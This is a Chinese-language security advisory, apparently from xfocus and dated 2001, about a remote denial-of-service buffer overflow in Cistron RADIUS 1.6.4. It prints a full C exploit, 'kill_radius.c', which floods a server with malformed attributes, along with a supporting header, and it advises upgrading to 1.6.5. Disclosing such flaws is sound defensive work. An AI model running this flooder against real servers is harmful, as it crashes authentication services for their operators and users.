xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Cistron RADIUS Digest Calculation 存在缓冲溢出漏洞


发布时间:2001-11-16
更新时间:2001-11-22
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Miquel van Smoorenburg Cistron Radius 1.6.4
详细描述
Cistron 是RADIUS服务器实现,其中在使用计算信息摘要功能时存在缓冲溢出漏洞。

目前还不知道此漏洞是否能用来执行任意代码,但可以导致段错误,导致服务器
崩溃,引起拒绝服务攻击。

其他基于Cistron的RADIUS服务器也可能存在此漏洞。

测试代码
/*
* $Id: kill_radius.c,v 1.1.2.3 2001/09/28 17:25:05 3APA3A Exp $
* RADIUS Access Request attribute flooder
* (c) 3APA3A http://www.security.nnov.ru
*/


#include "libradius.h"

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <md5.h>
#include <sysexits.h>




void librad_md5_calc(unsigned char *output, unsigned char *input,
         unsigned int inputlen);

/*
* Return an IP address from
* one supplied in standard dot notation.
*/
uint32_t ip_addr(const char *ip_str)
{
  struct in_addr in;

  if (inet_aton(ip_str, &in) == 0)
    return INADDR_NONE;
  return in.s_addr;
}


/*
* Return an IP address in from a host
* name or address in dot notation.
*/
uint32_t ip_getaddr(const char *host)
{
  struct hostent *hp;
  uint32_t a;

  if ((a = ip_addr(host)) != INADDR_NONE)
    return a;

  if ((hp = gethostbyname(host)) == NULL)
    return (uint32_t) INADDR_NONE;

  /*
   * Paranoia from a Bind vulnerability. An attacker
   * can manipulate DNS entries to change the length of the
   * address. If the length isn't 4, something's wrong.
   */
  if (hp->h_length != sizeof(uint32_t)) {
    return (uint32_t) INADDR_NONE;
  }

  memcpy(&a, hp->h_addr, sizeof(uint32_t));
  return a;
}


/*
* Like strncpy, but always adds \0
*/
char *strNcpy(char *dest, const char *src, int n)
{
  if (n > 0)
    strncpy(dest, src, n);
  else
    n = 1;
  dest[n - 1] = 0;

  return dest;
}



/*
* The RFC says 4096 octets max, and most packets are less than 256.
* However, this number is just larger than the maximum MTU of just
* most types of networks, except maybe for gigabit ethernet.
*/

static uint8_t random_vector_pool[AUTH_VECTOR_LEN*2];


/*
* Validates the requesting client NAS. Calculates the
* signature based on the clients private key.
*/

#define AUTH_PASS_LEN (16)

/*
* Create a random vector of AUTH_VECTOR_LEN bytes.
*/
void random_vector(uint8_t *vector)
{
  int i;
  static int did_random = 0;
  static int counter = 0;

  if (!did_random) {

    for (i = 0; i < (int)sizeof(random_vector_pool); i++) {
      random_vector_pool[i] += random() & 0xff;
    }

    did_random = 1;
  }

  /*
   * Modify our random pool, based on the counter,
   * and put the resulting information through MD5,
   * so it's all mashed together.
   */
  counter++;
  random_vector_pool[AUTH_VECTOR_LEN] += (counter & 0xff);

  /*
   * And do another MD5 hash of the result, to give
   * the user a random vector. This ensures that the
   * user has a random vector, without giving them
   * an exact image of what's in the random pool.
   */
}


static int getport(const char *name)
{
  struct servent *svp;

  svp = getservbyname (name, "udp");
  if (!svp) {
    return 0;
  }

  return ntohs(svp->s_port);
}



typedef struct radius_packet_t {
  uint8_t code;
  uint8_t id;
  uint16_t length;
  uint8_t vector[AUTH_VECTOR_LEN];
  uint8_t data[4076];
} radius_packet_t;
          


char buf[256];


int radius_send(char* radius, int ntimes, int attr)
{
  int port = 0;
  int res=0;
  int sockfd;
  int total_length;
  unsigned dst_ipaddr;
  struct sockaddr_in saremote;
  struct sockaddr_in *sa;
  struct timeval tv;
  fd_set rdfdesc;
  char vector[AUTH_VECTOR_LEN];
  radius_packet_t packet;
  int salen;
  int data_len;
  int count;
  int i;

  memset(&packet, 0, sizeof(packet));


  port = getport("radius");
  if (port == 0) port = PW_AUTH_UDP_PORT;
  if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
    return 1;
  }
  packet.code = PW_AUTHENTICATION_REQUEST;
  packet.id=0;
  total_length = 0;
  packet.length = htons(total_length);


  total_length+=(4+AUTH_VECTOR_LEN);
  packet.length = htons(total_length);
  memcpy(vector, packet.vector, AUTH_VECTOR_LEN);
  
  dst_ipaddr = ip_getaddr(radius);

  sa = (struct sockaddr_in *) &saremote;
  memset ((char *) sa, '\0', sizeof (saremote));
  sa->sin_family = AF_INET;
  sa->sin_addr.s_addr = dst_ipaddr;
  sa->sin_port = htons(port);
  
  for (i=20; i<4096;){
   packet.data[i++]=attr;
   packet.data[i++]=2;
  }

  for (i=0; i<ntimes; i++){
    random_vector(packet.vector);
    res = sendto(sockfd, &packet, total_length, 0,
          (struct sockaddr *)&saremote, sizeof(struct sockaddr_in));
    if(res != total_length){
      return 2;
    }
    packet.id++;
  }
  return 0;
}



int main(int argc, char*argv[]){

  int result=0;
  int attr;
  int ntries;
  int i;

  if (argc != 4 || (attr = atoi(argv[2])) == 0 ||
   (ntries = atoi(argv[3])) == 0) {
   printf ("Usage : %s server attribute count\n", argv[0]);
   return 1;
  }
  return radius_send( argv[1], ntries, attr);
}


/*
*Version: $Id: libradius.h,v 1.1.2.4 2001/10/18 14:56:19 vlad Exp $
*/

#ifndef LIBRADIUS_H
#define LIBRADIUS_H

/*
* libradius.h Structures and prototypes
* for the radius library.
*
* Version: $Id: libradius.h,v 1.1.2.4 2001/10/18 14:56:19 vlad Exp $
*
*/
/*
#include "autoconf.h"
*/
#include <sys/types.h>
#include <inttypes.h>
#include <errno.h>
#include <stdio.h>

/*
* Check for inclusion of <time.h>, versus <sys/time.h>
* Taken verbatim from the autoconf manual.
*/
#if TIME_WITH_SYS_TIME
# include <sys/time.h>
# include <time.h>
#else
# if HAVE_SYS_TIME_H
# include <sys/time.h>
# else
# include <time.h>
# endif
#endif

#include "radius.h"
#include "token.h"

#ifdef SIZEOF_UNSIGNED_INT
#if SIZEOF_UNSIGNED_INT != 4
#error FATAL: sizeof(unsigned int) != 4
#endif
#endif

# define VENDOR(x) (x >> 16)

#define EAP_START 2

#define AUTH_VECTOR_LEN 16
#define CHAP_VALUE_LENGTH 16
#define MAX_STRING_LEN 254 /* RFC2138: string 0-253 octets */

#define PW_AUTH_UDP_PORT 1645
#define PW_ACCT_UDP_PORT 1646

#ifdef _LIBRADIUS
# define AUTH_HDR_LEN 20
# define VENDORPEC_USR 429
# define VENDOR(x) (x >> 16)
# define DEBUG if (librad_debug) printf
# define debug_pair(vp) do { if (librad_debug) { \
          putchar('\t'); \
          vp_print(stdout, vp); \
          putchar('\n'); \
             } \
        } while(0)
#endif

typedef struct dict_attr {
  char name[40];
  int attr;
  int type;
  int vendor;
  struct dict_attr *next;
} DICT_ATTR;

typedef struct dict_value {
  char name[40];
  char attrname[40];
  int attr;
  int value;
  struct dict_value *next;
} DICT_VALUE;

typedef struct dict_vendor {
  char vendorname[40];
  int vendorpec;
  int vendorcode;
  struct dict_vendor *next;
} DICT_VENDOR;

typedef struct value_pair {
  char name[40];
  int attribute;
  int type;
  int length; /* of strvalue */
  uint32_t lvalue;
  LRAD_TOKEN operator;
  int addport;
  uint8_t strvalue[MAX_STRING_LEN];
  struct value_pair *next;
} VALUE_PAIR;

/*
* vector: Request authenticator from access-request packet
* Put in there by rad_decode, and must be put in the
* response RADIUS_PACKET as well before calling rad_send
*
* verified: Filled in by rad_decode for accounting-request packets
*
* data,data_len: Used between rad_recv and rad_decode.
*/
typedef struct radius_packet {
  int sockfd;
  uint32_t src_ipaddr;
  uint32_t dst_ipaddr;
  u_short src_port;
  u_short dst_port;
  int id;
  int code;
  uint8_t vector[AUTH_VECTOR_LEN];
  time_t timestamp;
  int verified;
  uint8_t *data;
  int data_len;
  VALUE_PAIR *vps;
} RADIUS_PACKET;

/*
* Printing functions.
*/
void librad_safeprint(char *in, int inlen, char *out, int outlen);
int vp_prints_value(char *out, int outlen, VALUE_PAIR *vp,int delimitst);
int vp_prints(char *out, int outlen, VALUE_PAIR *vp);
void vp_print(FILE *, VALUE_PAIR *);
void vp_printlist(FILE *, VALUE_PAIR *);
#define fprint_attr_val vp_print

/*
* Dictionary functions.
*/
int dict_addvendor(const char *name, int value);
int dict_addattr(const char *name, int vendor, int type, int value);
int dict_addvalue(const char *namestr, char *attrstr, int value);
int dict_init(const char *dir, const char *fn);
DICT_ATTR *dict_attrbyvalue(int attr);
DICT_ATTR *dict_attrbyname(const char *attr);
DICT_VALUE *dict_valbyattr(int attr, int val);
DICT_VALUE *dict_valbyname(int attr, const char *val);
int dict_vendorcode(int);
int dict_vendorpec(int);
int dict_vendorname(const char *name);

#if 1 /* FIXME: compat */
#define dict_attrget dict_attrbyvalue
#define dict_attrfind dict_attrbyname
#define dict_valfind dict_valbyname
/*#define dict_valget dict_valbyattr almost but not quite*/
#endif

/* md5.c */

void librad_md5_calc(u_char *, u_char *, u_int);

/* hmac.c */

void lrad_hmac_md5(const unsigned char *text, int text_len,
       const unsigned char *key, int key_len,
       unsigned char *digest);

/* radius.c */
int rad_send(RADIUS_PACKET *, const RADIUS_PACKET *, const char *secret);
RADIUS_PACKET *rad_recv(int fd);
int rad_decode(RADIUS_PACKET *packet, char *original, const char *secret);
RADIUS_PACKET *rad_alloc(int newvector);
void rad_free(RADIUS_PACKET **);
int rad_pwencode(char *encpw, int *len, const char *secret, const char *vector);
int rad_pwdecode(char *encpw, int len, const char *secret, const char *vector);
int rad_chap_encode(RADIUS_PACKET *packet, char *output, int id, VALUE_PAIR *password);
int calc_acctdigest(RADIUS_PACKET *packet, const char *secret,
      char *data, int len);

/* valuepair.c */
VALUE_PAIR *paircreate(int attr, int type);
void pairfree(VALUE_PAIR **);
VALUE_PAIR *pairfind(VALUE_PAIR *, int);
void pairdelete(VALUE_PAIR **, int);
void pairadd(VALUE_PAIR **, VALUE_PAIR *);
VALUE_PAIR *paircopy(VALUE_PAIR *vp);
VALUE_PAIR *paircopy2(VALUE_PAIR *vp, int attr);
void pairmove(VALUE_PAIR **to, VALUE_PAIR **from);
void pairmove2(VALUE_PAIR **to, VALUE_PAIR **from, int attr);
VALUE_PAIR *pairmake(const char *attribute, const char *value, int operator);
VALUE_PAIR *pairread(char **ptr, int *eol);
LRAD_TOKEN userparse(char *buffer, VALUE_PAIR **first_pair);

/*
* Error functions.
*/
#ifdef _LIBRADIUS
void librad_log(const char *, ...)
#ifdef __GNUC__
    __attribute__ ((format (printf, 1, 2)))
#endif
;
#endif
void librad_perror(const char *, ...)
#ifdef __GNUC__
    __attribute__ ((format (printf, 1, 2)))
#endif
;
extern char librad_errstr[];
extern int librad_dodns;
extern int librad_debug;

/*
* Several handy miscellaneous functions.
*/
char * ip_hostname (char *buf, size_t buflen, uint32_t ipaddr);
uint32_t ip_getaddr (const char *);
char * ip_ntoa(char *, uint32_t);
uint32_t ip_addr(const char *);
char *strNcpy(char *dest, const char *src, int n);
void rad_lowercase(char *str);
void rad_rmspace(char *str);
void random_vector(uint8_t *vec);

#ifdef ASCEND_BINARY
/* filters.c */
int filterBinary(VALUE_PAIR *pair, const char *valstr);
void print_abinary(VALUE_PAIR *vp, u_char *buffer, int len);
#endif /*ASCEND_BINARY*/

#ifdef HAVE_LOCAL_SNPRINTF
#include <stdarg.h>
int snprintf(char *str, size_t count, const char *fmt, ...);
int vsnprintf(char *str, size_t count, const char *fmt, va_list arg);
#endif

#endif /*LIBRADIUS_H*/

解决方案
使用1.6.5版本:
http://www.radius.cistron.nl/

相关信息
aland@striker.ottawa.on.ca
参考:
http://www.securityfocus.com/archive/1/E163hAK-0006pC-00@giles.striker.ottawa.on.ca
厂商主页:http://www.radius.cistron.nl/